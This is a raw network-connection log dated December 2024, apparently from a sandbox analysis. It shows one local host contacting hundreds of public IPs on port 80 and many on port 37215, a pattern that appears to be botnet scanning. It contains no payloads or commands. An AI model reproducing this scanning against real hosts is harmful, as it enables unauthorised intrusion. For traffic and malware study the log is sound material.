Dec 3, 2024 22:02:06.217314959 CET	58770	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:06.217314959 CET	58206	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:06.217319012 CET	34874	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:06.217322111 CET	59856	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:06.217324972 CET	45912	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:06.217339039 CET	39542	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:06.217341900 CET	55500	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:06.217351913 CET	54660	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:06.217353106 CET	51556	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:06.217353106 CET	33978	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:06.217363119 CET	60496	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:06.217363119 CET	33622	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:06.217363119 CET	43252	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:06.217363119 CET	39152	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:06.217363119 CET	33182	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:06.217363119 CET	41072	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:06.217363119 CET	58888	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:06.217370033 CET	46910	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:06.217375994 CET	60394	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:06.217375994 CET	56020	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:06.217379093 CET	50506	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:06.217380047 CET	56132	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:06.217379093 CET	60360	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:06.217379093 CET	49564	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:06.217392921 CET	52236	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:06.217391014 CET	34026	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:06.217391014 CET	34900	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:06.217401028 CET	41914	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:06.217401981 CET	39788	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:06.217403889 CET	54530	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:06.217411995 CET	43252	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:06.217412949 CET	34146	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:06.217412949 CET	36978	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:06.217417955 CET	37292	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:06.217423916 CET	41224	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:06.217423916 CET	54560	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:06.217423916 CET	59936	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:06.217432022 CET	43790	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:06.217432022 CET	48024	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:06.217439890 CET	54232	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:06.217444897 CET	50504	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:06.217444897 CET	46574	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:06.217452049 CET	37584	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:06.217458963 CET	46526	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:06.217670918 CET	37215	60118	41.159.149.11	192.168.2.14
Dec 3, 2024 22:02:06.218453884 CET	37215	55910	197.53.171.17	192.168.2.14
Dec 3, 2024 22:02:06.219250917 CET	37215	52106	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:06.219424963 CET	37215	54814	197.198.132.132	192.168.2.14
Dec 3, 2024 22:02:06.219435930 CET	37215	48542	197.217.251.3	192.168.2.14
Dec 3, 2024 22:02:06.219444990 CET	37215	58744	197.71.140.80	192.168.2.14
Dec 3, 2024 22:02:06.219500065 CET	37215	55894	41.154.31.154	192.168.2.14
Dec 3, 2024 22:02:06.219758034 CET	37215	43406	156.176.19.33	192.168.2.14
Dec 3, 2024 22:02:06.220438957 CET	37215	43024	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:06.221028090 CET	37215	41480	41.250.53.110	192.168.2.14
Dec 3, 2024 22:02:06.223371029 CET	37215	52764	156.8.122.245	192.168.2.14
Dec 3, 2024 22:02:06.223387957 CET	37215	60746	41.163.239.113	192.168.2.14
Dec 3, 2024 22:02:06.223400116 CET	37215	47150	197.100.58.133	192.168.2.14
Dec 3, 2024 22:02:06.227363110 CET	37215	45940	156.131.137.8	192.168.2.14
Dec 3, 2024 22:02:06.227384090 CET	37215	56886	156.204.54.116	192.168.2.14
Dec 3, 2024 22:02:06.227431059 CET	37215	44306	197.152.168.4	192.168.2.14
Dec 3, 2024 22:02:06.227441072 CET	37215	43002	156.183.203.242	192.168.2.14
Dec 3, 2024 22:02:06.227471113 CET	37215	35364	156.161.126.173	192.168.2.14
Dec 3, 2024 22:02:06.227488041 CET	37215	49780	156.55.125.14	192.168.2.14
Dec 3, 2024 22:02:06.227494001 CET	37215	49772	156.97.134.32	192.168.2.14
Dec 3, 2024 22:02:06.227495909 CET	37215	52498	156.218.161.155	192.168.2.14
Dec 3, 2024 22:02:06.227514982 CET	37215	34158	41.231.216.149	192.168.2.14
Dec 3, 2024 22:02:06.227525949 CET	37215	53942	41.233.227.101	192.168.2.14
Dec 3, 2024 22:02:06.227560997 CET	37215	55550	197.227.173.107	192.168.2.14
Dec 3, 2024 22:02:06.227608919 CET	37215	43248	197.86.98.63	192.168.2.14
Dec 3, 2024 22:02:06.231369972 CET	37215	57094	41.10.137.114	192.168.2.14
Dec 3, 2024 22:02:06.231379032 CET	37215	46224	41.246.60.179	192.168.2.14
Dec 3, 2024 22:02:06.231390953 CET	37215	42738	197.49.101.41	192.168.2.14
Dec 3, 2024 22:02:06.234265089 CET	37215	42128	41.134.26.107	192.168.2.14
Dec 3, 2024 22:02:06.234708071 CET	37215	42784	41.134.26.107	192.168.2.14
Dec 3, 2024 22:02:06.234750986 CET	42784	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.234905958 CET	42784	37215	192.168.2.14	41.134.26.107
Dec 3, 2024 22:02:06.234966993 CET	37215	37170	197.53.94.99	192.168.2.14
Dec 3, 2024 22:02:06.235230923 CET	37215	37826	197.53.94.99	192.168.2.14
Dec 3, 2024 22:02:06.235281944 CET	37826	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.235301018 CET	37826	37215	192.168.2.14	197.53.94.99
Dec 3, 2024 22:02:06.235651970 CET	37215	43238	41.64.226.76	192.168.2.14
Dec 3, 2024 22:02:06.236296892 CET	37215	39142	41.154.223.212	192.168.2.14
Dec 3, 2024 22:02:06.237001896 CET	37215	50280	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:06.237726927 CET	37215	36120	41.131.73.124	192.168.2.14
Dec 3, 2024 22:02:06.238318920 CET	37215	55376	41.108.8.89	192.168.2.14
Dec 3, 2024 22:02:06.239037037 CET	37215	52804	197.185.181.238	192.168.2.14
Dec 3, 2024 22:02:06.239734888 CET	37215	42606	41.94.175.19	192.168.2.14
Dec 3, 2024 22:02:06.240329027 CET	37215	45042	41.224.48.182	192.168.2.14
Dec 3, 2024 22:02:06.240959883 CET	37215	55158	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:06.241828918 CET	37215	51332	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:06.242538929 CET	37215	33698	156.16.80.231	192.168.2.14
Dec 3, 2024 22:02:06.243376970 CET	37215	39062	156.221.169.157	192.168.2.14
Dec 3, 2024 22:02:06.243388891 CET	37215	38414	41.68.117.52	192.168.2.14
Dec 3, 2024 22:02:06.243411064 CET	37215	34028	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:06.243913889 CET	37215	54474	197.248.237.12	192.168.2.14
Dec 3, 2024 22:02:06.244631052 CET	37215	49360	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:06.245316982 CET	37215	51272	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:06.245887995 CET	37215	60676	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:06.247360945 CET	37215	50396	197.197.86.116	192.168.2.14
Dec 3, 2024 22:02:06.247387886 CET	37215	49882	197.119.230.197	192.168.2.14
Dec 3, 2024 22:02:06.247450113 CET	37215	44634	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:06.247459888 CET	37215	49020	156.48.132.91	192.168.2.14
Dec 3, 2024 22:02:06.247468948 CET	37215	37010	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:06.247478962 CET	37215	51700	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:06.249285936 CET	47100	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:06.249293089 CET	57398	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:06.249294043 CET	40934	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:06.249301910 CET	45066	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:06.249301910 CET	44694	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:06.249305964 CET	52974	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:06.249310970 CET	53222	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:06.249310970 CET	56498	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:06.251415968 CET	37215	48250	197.37.224.195	192.168.2.14
Dec 3, 2024 22:02:06.251425982 CET	37215	36356	41.72.83.125	192.168.2.14
Dec 3, 2024 22:02:06.251436949 CET	37215	49322	41.114.48.9	192.168.2.14
Dec 3, 2024 22:02:06.251477003 CET	37215	43360	156.64.242.57	192.168.2.14
Dec 3, 2024 22:02:06.251488924 CET	37215	57636	41.3.168.87	192.168.2.14
Dec 3, 2024 22:02:06.251506090 CET	37215	48674	41.92.97.54	192.168.2.14
Dec 3, 2024 22:02:06.255403996 CET	37215	35768	41.240.186.144	192.168.2.14
Dec 3, 2024 22:02:06.255467892 CET	37215	47430	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:06.255526066 CET	37215	46914	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:06.255536079 CET	37215	46448	156.7.166.118	192.168.2.14
Dec 3, 2024 22:02:06.255547047 CET	37215	52120	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:06.255561113 CET	37215	37468	197.198.71.1	192.168.2.14
Dec 3, 2024 22:02:06.259485006 CET	37215	60118	41.159.149.11	192.168.2.14
Dec 3, 2024 22:02:06.259495974 CET	37215	45228	41.66.212.146	192.168.2.14
Dec 3, 2024 22:02:06.259525061 CET	37215	49074	41.242.231.240	192.168.2.14
Dec 3, 2024 22:02:06.259535074 CET	37215	52106	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:06.259555101 CET	37215	38236	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:06.259563923 CET	37215	55910	197.53.171.17	192.168.2.14
Dec 3, 2024 22:02:06.263385057 CET	37215	41480	41.250.53.110	192.168.2.14
Dec 3, 2024 22:02:06.263439894 CET	37215	43024	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:06.263448954 CET	37215	43406	156.176.19.33	192.168.2.14
Dec 3, 2024 22:02:06.275357962 CET	37215	37170	197.53.94.99	192.168.2.14
Dec 3, 2024 22:02:06.275409937 CET	37215	42128	41.134.26.107	192.168.2.14
Dec 3, 2024 22:02:06.278776884 CET	80	34708	83.66.176.9	192.168.2.14
Dec 3, 2024 22:02:06.278925896 CET	34708	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:06.283406019 CET	37215	52804	197.185.181.238	192.168.2.14
Dec 3, 2024 22:02:06.283430099 CET	37215	55376	41.108.8.89	192.168.2.14
Dec 3, 2024 22:02:06.283482075 CET	37215	36120	41.131.73.124	192.168.2.14
Dec 3, 2024 22:02:06.283493042 CET	37215	50280	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:06.283507109 CET	37215	39142	41.154.223.212	192.168.2.14
Dec 3, 2024 22:02:06.283516884 CET	37215	43238	41.64.226.76	192.168.2.14
Dec 3, 2024 22:02:06.283561945 CET	37215	39062	156.221.169.157	192.168.2.14
Dec 3, 2024 22:02:06.283572912 CET	37215	33698	156.16.80.231	192.168.2.14
Dec 3, 2024 22:02:06.283581972 CET	37215	51332	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:06.283591986 CET	37215	55158	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:06.283602953 CET	37215	45042	41.224.48.182	192.168.2.14
Dec 3, 2024 22:02:06.283613920 CET	37215	42606	41.94.175.19	192.168.2.14
Dec 3, 2024 22:02:06.287414074 CET	37215	60676	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:06.287461996 CET	37215	51272	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:06.287501097 CET	37215	49360	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:06.287511110 CET	37215	54474	197.248.237.12	192.168.2.14
Dec 3, 2024 22:02:06.296135902 CET	37215	59044	41.78.2.17	192.168.2.14
Dec 3, 2024 22:02:06.296170950 CET	37215	47826	197.100.58.133	192.168.2.14
Dec 3, 2024 22:02:06.296195984 CET	59044	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.296211958 CET	47826	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:06.296384096 CET	59044	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.296384096 CET	59044	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.296731949 CET	37215	48710	41.138.94.94	192.168.2.14
Dec 3, 2024 22:02:06.296773911 CET	48710	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.296833992 CET	59060	37215	192.168.2.14	41.78.2.17
Dec 3, 2024 22:02:06.297259092 CET	48710	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.297259092 CET	48710	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.297363997 CET	37215	34884	156.23.230.128	192.168.2.14
Dec 3, 2024 22:02:06.297403097 CET	34884	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.297550917 CET	48726	37215	192.168.2.14	41.138.94.94
Dec 3, 2024 22:02:06.297950029 CET	37215	37004	156.141.3.216	192.168.2.14
Dec 3, 2024 22:02:06.297991037 CET	37004	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.297992945 CET	34884	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.297992945 CET	34884	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.298283100 CET	34900	37215	192.168.2.14	156.23.230.128
Dec 3, 2024 22:02:06.298701048 CET	37215	59304	197.31.172.17	192.168.2.14
Dec 3, 2024 22:02:06.298724890 CET	37004	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.298738956 CET	59304	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.298742056 CET	37004	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.299036026 CET	37020	37215	192.168.2.14	156.141.3.216
Dec 3, 2024 22:02:06.299294949 CET	37215	40304	41.240.12.174	192.168.2.14
Dec 3, 2024 22:02:06.299331903 CET	40304	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:06.299453020 CET	59304	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.299453020 CET	59304	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.299731016 CET	59320	37215	192.168.2.14	197.31.172.17
Dec 3, 2024 22:02:06.300097942 CET	40304	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:06.300097942 CET	40304	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:06.300379038 CET	40320	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:06.308326006 CET	37215	50444	156.97.134.32	192.168.2.14
Dec 3, 2024 22:02:06.308368921 CET	50444	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:06.323390007 CET	37215	34696	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:06.323596001 CET	37215	34696	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:06.323736906 CET	34696	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.327997923 CET	37215	51066	197.197.86.116	192.168.2.14
Dec 3, 2024 22:02:06.328038931 CET	51066	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.335935116 CET	37215	36438	41.240.186.144	192.168.2.14
Dec 3, 2024 22:02:06.335983038 CET	36438	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.337313890 CET	80	37686	46.144.210.85	192.168.2.14
Dec 3, 2024 22:02:06.337332964 CET	80	46776	185.188.215.253	192.168.2.14
Dec 3, 2024 22:02:06.337344885 CET	80	56682	93.47.55.220	192.168.2.14
Dec 3, 2024 22:02:06.337358952 CET	37686	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:06.337378025 CET	80	43874	5.247.37.118	192.168.2.14
Dec 3, 2024 22:02:06.337378025 CET	46776	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:06.337382078 CET	56682	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:06.337416887 CET	43874	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:06.337434053 CET	46776	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:06.337457895 CET	37686	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:06.337472916 CET	39296	80	192.168.2.14	166.70.87.115
Dec 3, 2024 22:02:06.337476969 CET	39296	80	192.168.2.14	4.254.111.251
Dec 3, 2024 22:02:06.337491989 CET	39296	80	192.168.2.14	206.151.4.183
Dec 3, 2024 22:02:06.337527037 CET	39296	80	192.168.2.14	12.248.200.130
Dec 3, 2024 22:02:06.337532997 CET	39296	80	192.168.2.14	173.125.65.49
Dec 3, 2024 22:02:06.337532997 CET	39296	80	192.168.2.14	222.47.98.99
Dec 3, 2024 22:02:06.337538958 CET	39296	80	192.168.2.14	146.26.240.175
Dec 3, 2024 22:02:06.337538958 CET	39296	80	192.168.2.14	216.57.100.132
Dec 3, 2024 22:02:06.337538958 CET	39296	80	192.168.2.14	155.178.159.211
Dec 3, 2024 22:02:06.337538958 CET	39296	80	192.168.2.14	67.93.46.105
Dec 3, 2024 22:02:06.337542057 CET	39296	80	192.168.2.14	154.171.126.162
Dec 3, 2024 22:02:06.337543011 CET	39296	80	192.168.2.14	123.64.43.4
Dec 3, 2024 22:02:06.337538958 CET	39296	80	192.168.2.14	45.163.244.86
Dec 3, 2024 22:02:06.337544918 CET	39296	80	192.168.2.14	45.112.145.45
Dec 3, 2024 22:02:06.337543011 CET	39296	80	192.168.2.14	221.230.232.208
Dec 3, 2024 22:02:06.337538958 CET	39296	80	192.168.2.14	183.85.17.216
Dec 3, 2024 22:02:06.337553024 CET	39296	80	192.168.2.14	139.158.103.186
Dec 3, 2024 22:02:06.337553024 CET	39296	80	192.168.2.14	52.109.195.131
Dec 3, 2024 22:02:06.337553024 CET	39296	80	192.168.2.14	151.66.239.202
Dec 3, 2024 22:02:06.337557077 CET	39296	80	192.168.2.14	147.63.183.193
Dec 3, 2024 22:02:06.337560892 CET	39296	80	192.168.2.14	14.220.104.224
Dec 3, 2024 22:02:06.337560892 CET	39296	80	192.168.2.14	169.191.187.198
Dec 3, 2024 22:02:06.337564945 CET	39296	80	192.168.2.14	220.49.0.245
Dec 3, 2024 22:02:06.337568045 CET	39296	80	192.168.2.14	167.98.116.12
Dec 3, 2024 22:02:06.337572098 CET	39296	80	192.168.2.14	48.247.135.228
Dec 3, 2024 22:02:06.337572098 CET	39296	80	192.168.2.14	106.192.15.197
Dec 3, 2024 22:02:06.337573051 CET	39296	80	192.168.2.14	151.155.84.29
Dec 3, 2024 22:02:06.337573051 CET	39296	80	192.168.2.14	195.126.164.235
Dec 3, 2024 22:02:06.337573051 CET	39296	80	192.168.2.14	120.33.133.18
Dec 3, 2024 22:02:06.337593079 CET	39296	80	192.168.2.14	35.58.156.230
Dec 3, 2024 22:02:06.337596893 CET	39296	80	192.168.2.14	177.115.208.23
Dec 3, 2024 22:02:06.337596893 CET	39296	80	192.168.2.14	86.58.57.40
Dec 3, 2024 22:02:06.337608099 CET	39296	80	192.168.2.14	153.72.228.43
Dec 3, 2024 22:02:06.337609053 CET	39296	80	192.168.2.14	78.153.106.114
Dec 3, 2024 22:02:06.337629080 CET	39296	80	192.168.2.14	172.70.32.38
Dec 3, 2024 22:02:06.337629080 CET	39296	80	192.168.2.14	82.84.174.192
Dec 3, 2024 22:02:06.337630033 CET	39296	80	192.168.2.14	104.223.195.212
Dec 3, 2024 22:02:06.337631941 CET	39296	80	192.168.2.14	171.136.94.109
Dec 3, 2024 22:02:06.337635040 CET	39296	80	192.168.2.14	126.201.10.11
Dec 3, 2024 22:02:06.337650061 CET	39296	80	192.168.2.14	123.48.5.148
Dec 3, 2024 22:02:06.337651968 CET	39296	80	192.168.2.14	9.24.63.84
Dec 3, 2024 22:02:06.337651968 CET	39296	80	192.168.2.14	85.135.56.16
Dec 3, 2024 22:02:06.337662935 CET	39296	80	192.168.2.14	82.37.163.159
Dec 3, 2024 22:02:06.337662935 CET	39296	80	192.168.2.14	135.210.142.33
Dec 3, 2024 22:02:06.337666988 CET	39296	80	192.168.2.14	213.79.165.16
Dec 3, 2024 22:02:06.337666988 CET	39296	80	192.168.2.14	211.98.9.138
Dec 3, 2024 22:02:06.337687016 CET	39296	80	192.168.2.14	163.123.22.202
Dec 3, 2024 22:02:06.337688923 CET	39296	80	192.168.2.14	155.47.94.129
Dec 3, 2024 22:02:06.337690115 CET	39296	80	192.168.2.14	173.211.221.178
Dec 3, 2024 22:02:06.337702036 CET	39296	80	192.168.2.14	101.225.151.252
Dec 3, 2024 22:02:06.337706089 CET	39296	80	192.168.2.14	168.250.126.71
Dec 3, 2024 22:02:06.337718010 CET	39296	80	192.168.2.14	104.89.203.77
Dec 3, 2024 22:02:06.337719917 CET	39296	80	192.168.2.14	145.255.237.161
Dec 3, 2024 22:02:06.337719917 CET	39296	80	192.168.2.14	101.222.226.244
Dec 3, 2024 22:02:06.337730885 CET	39296	80	192.168.2.14	97.241.228.156
Dec 3, 2024 22:02:06.337738037 CET	39296	80	192.168.2.14	75.80.3.169
Dec 3, 2024 22:02:06.337744951 CET	39296	80	192.168.2.14	177.117.251.6
Dec 3, 2024 22:02:06.337754965 CET	39296	80	192.168.2.14	123.126.75.185
Dec 3, 2024 22:02:06.337754965 CET	39296	80	192.168.2.14	14.194.77.43
Dec 3, 2024 22:02:06.337765932 CET	39296	80	192.168.2.14	165.213.13.161
Dec 3, 2024 22:02:06.337770939 CET	39296	80	192.168.2.14	99.212.167.134
Dec 3, 2024 22:02:06.337780952 CET	39296	80	192.168.2.14	174.56.89.227
Dec 3, 2024 22:02:06.337784052 CET	39296	80	192.168.2.14	204.138.122.180
Dec 3, 2024 22:02:06.337784052 CET	39296	80	192.168.2.14	203.59.11.251
Dec 3, 2024 22:02:06.337785006 CET	39296	80	192.168.2.14	42.55.91.103
Dec 3, 2024 22:02:06.337789059 CET	39296	80	192.168.2.14	20.225.135.31
Dec 3, 2024 22:02:06.337789059 CET	39296	80	192.168.2.14	83.243.3.57
Dec 3, 2024 22:02:06.337793112 CET	39296	80	192.168.2.14	2.8.138.247
Dec 3, 2024 22:02:06.337806940 CET	39296	80	192.168.2.14	144.234.247.240
Dec 3, 2024 22:02:06.337809086 CET	39296	80	192.168.2.14	36.129.63.250
Dec 3, 2024 22:02:06.337809086 CET	39296	80	192.168.2.14	36.250.53.10
Dec 3, 2024 22:02:06.337810040 CET	39296	80	192.168.2.14	71.30.221.106
Dec 3, 2024 22:02:06.337817907 CET	39296	80	192.168.2.14	87.213.220.224
Dec 3, 2024 22:02:06.337824106 CET	39296	80	192.168.2.14	12.111.190.98
Dec 3, 2024 22:02:06.337831020 CET	39296	80	192.168.2.14	90.215.225.206
Dec 3, 2024 22:02:06.337847948 CET	39296	80	192.168.2.14	67.211.13.36
Dec 3, 2024 22:02:06.337848902 CET	39296	80	192.168.2.14	219.56.98.226
Dec 3, 2024 22:02:06.337848902 CET	39296	80	192.168.2.14	4.133.178.199
Dec 3, 2024 22:02:06.337852955 CET	39296	80	192.168.2.14	36.202.219.248
Dec 3, 2024 22:02:06.337853909 CET	39296	80	192.168.2.14	34.230.182.98
Dec 3, 2024 22:02:06.337855101 CET	39296	80	192.168.2.14	78.208.118.190
Dec 3, 2024 22:02:06.337872982 CET	39296	80	192.168.2.14	161.55.185.18
Dec 3, 2024 22:02:06.337873936 CET	39296	80	192.168.2.14	48.58.16.30
Dec 3, 2024 22:02:06.337874889 CET	39296	80	192.168.2.14	186.177.203.91
Dec 3, 2024 22:02:06.337893963 CET	39296	80	192.168.2.14	50.49.242.244
Dec 3, 2024 22:02:06.337896109 CET	39296	80	192.168.2.14	185.251.22.214
Dec 3, 2024 22:02:06.337896109 CET	39296	80	192.168.2.14	71.105.144.220
Dec 3, 2024 22:02:06.337898016 CET	39296	80	192.168.2.14	138.105.35.22
Dec 3, 2024 22:02:06.337904930 CET	39296	80	192.168.2.14	39.187.82.113
Dec 3, 2024 22:02:06.337917089 CET	39296	80	192.168.2.14	153.250.49.21
Dec 3, 2024 22:02:06.337917089 CET	39296	80	192.168.2.14	65.151.187.245
Dec 3, 2024 22:02:06.337918043 CET	39296	80	192.168.2.14	125.139.241.180
Dec 3, 2024 22:02:06.337917089 CET	39296	80	192.168.2.14	70.245.177.102
Dec 3, 2024 22:02:06.337917089 CET	39296	80	192.168.2.14	103.46.167.12
Dec 3, 2024 22:02:06.337928057 CET	39296	80	192.168.2.14	146.138.5.236
Dec 3, 2024 22:02:06.337937117 CET	39296	80	192.168.2.14	117.161.72.129
Dec 3, 2024 22:02:06.337939978 CET	39296	80	192.168.2.14	140.17.232.47
Dec 3, 2024 22:02:06.337955952 CET	39296	80	192.168.2.14	209.149.72.210
Dec 3, 2024 22:02:06.337955952 CET	39296	80	192.168.2.14	116.221.32.152
Dec 3, 2024 22:02:06.337961912 CET	39296	80	192.168.2.14	77.255.120.81
Dec 3, 2024 22:02:06.337965012 CET	39296	80	192.168.2.14	184.114.28.102
Dec 3, 2024 22:02:06.337971926 CET	39296	80	192.168.2.14	107.175.46.115
Dec 3, 2024 22:02:06.337976933 CET	39296	80	192.168.2.14	84.246.219.151
Dec 3, 2024 22:02:06.337982893 CET	39296	80	192.168.2.14	207.78.178.161
Dec 3, 2024 22:02:06.337994099 CET	39296	80	192.168.2.14	210.97.126.141
Dec 3, 2024 22:02:06.337996006 CET	39296	80	192.168.2.14	48.210.86.41
Dec 3, 2024 22:02:06.338002920 CET	39296	80	192.168.2.14	196.72.187.228
Dec 3, 2024 22:02:06.338013887 CET	39296	80	192.168.2.14	213.153.5.180
Dec 3, 2024 22:02:06.338016033 CET	39296	80	192.168.2.14	220.69.201.68
Dec 3, 2024 22:02:06.338016033 CET	39296	80	192.168.2.14	120.181.118.239
Dec 3, 2024 22:02:06.338023901 CET	39296	80	192.168.2.14	19.118.152.150
Dec 3, 2024 22:02:06.338052988 CET	39296	80	192.168.2.14	200.88.156.210
Dec 3, 2024 22:02:06.338054895 CET	39296	80	192.168.2.14	203.57.180.107
Dec 3, 2024 22:02:06.338054895 CET	39296	80	192.168.2.14	143.70.40.9
Dec 3, 2024 22:02:06.338054895 CET	39296	80	192.168.2.14	151.71.57.178
Dec 3, 2024 22:02:06.338056087 CET	39296	80	192.168.2.14	197.148.240.181
Dec 3, 2024 22:02:06.338062048 CET	39296	80	192.168.2.14	174.150.156.242
Dec 3, 2024 22:02:06.338066101 CET	39296	80	192.168.2.14	124.80.182.101
Dec 3, 2024 22:02:06.338069916 CET	39296	80	192.168.2.14	35.177.2.0
Dec 3, 2024 22:02:06.338078976 CET	39296	80	192.168.2.14	108.139.29.74
Dec 3, 2024 22:02:06.338085890 CET	39296	80	192.168.2.14	139.149.197.137
Dec 3, 2024 22:02:06.338085890 CET	39296	80	192.168.2.14	121.166.10.32
Dec 3, 2024 22:02:06.338089943 CET	39296	80	192.168.2.14	174.20.211.230
Dec 3, 2024 22:02:06.338107109 CET	39296	80	192.168.2.14	4.74.40.152
Dec 3, 2024 22:02:06.338107109 CET	39296	80	192.168.2.14	198.81.237.143
Dec 3, 2024 22:02:06.338109970 CET	39296	80	192.168.2.14	174.79.98.83
Dec 3, 2024 22:02:06.338120937 CET	39296	80	192.168.2.14	42.75.171.177
Dec 3, 2024 22:02:06.338129044 CET	39296	80	192.168.2.14	129.237.31.203
Dec 3, 2024 22:02:06.338129997 CET	39296	80	192.168.2.14	216.212.143.1
Dec 3, 2024 22:02:06.338135958 CET	39296	80	192.168.2.14	48.33.174.14
Dec 3, 2024 22:02:06.338148117 CET	39296	80	192.168.2.14	109.201.38.139
Dec 3, 2024 22:02:06.338149071 CET	39296	80	192.168.2.14	70.235.156.8
Dec 3, 2024 22:02:06.338154078 CET	39296	80	192.168.2.14	110.155.59.183
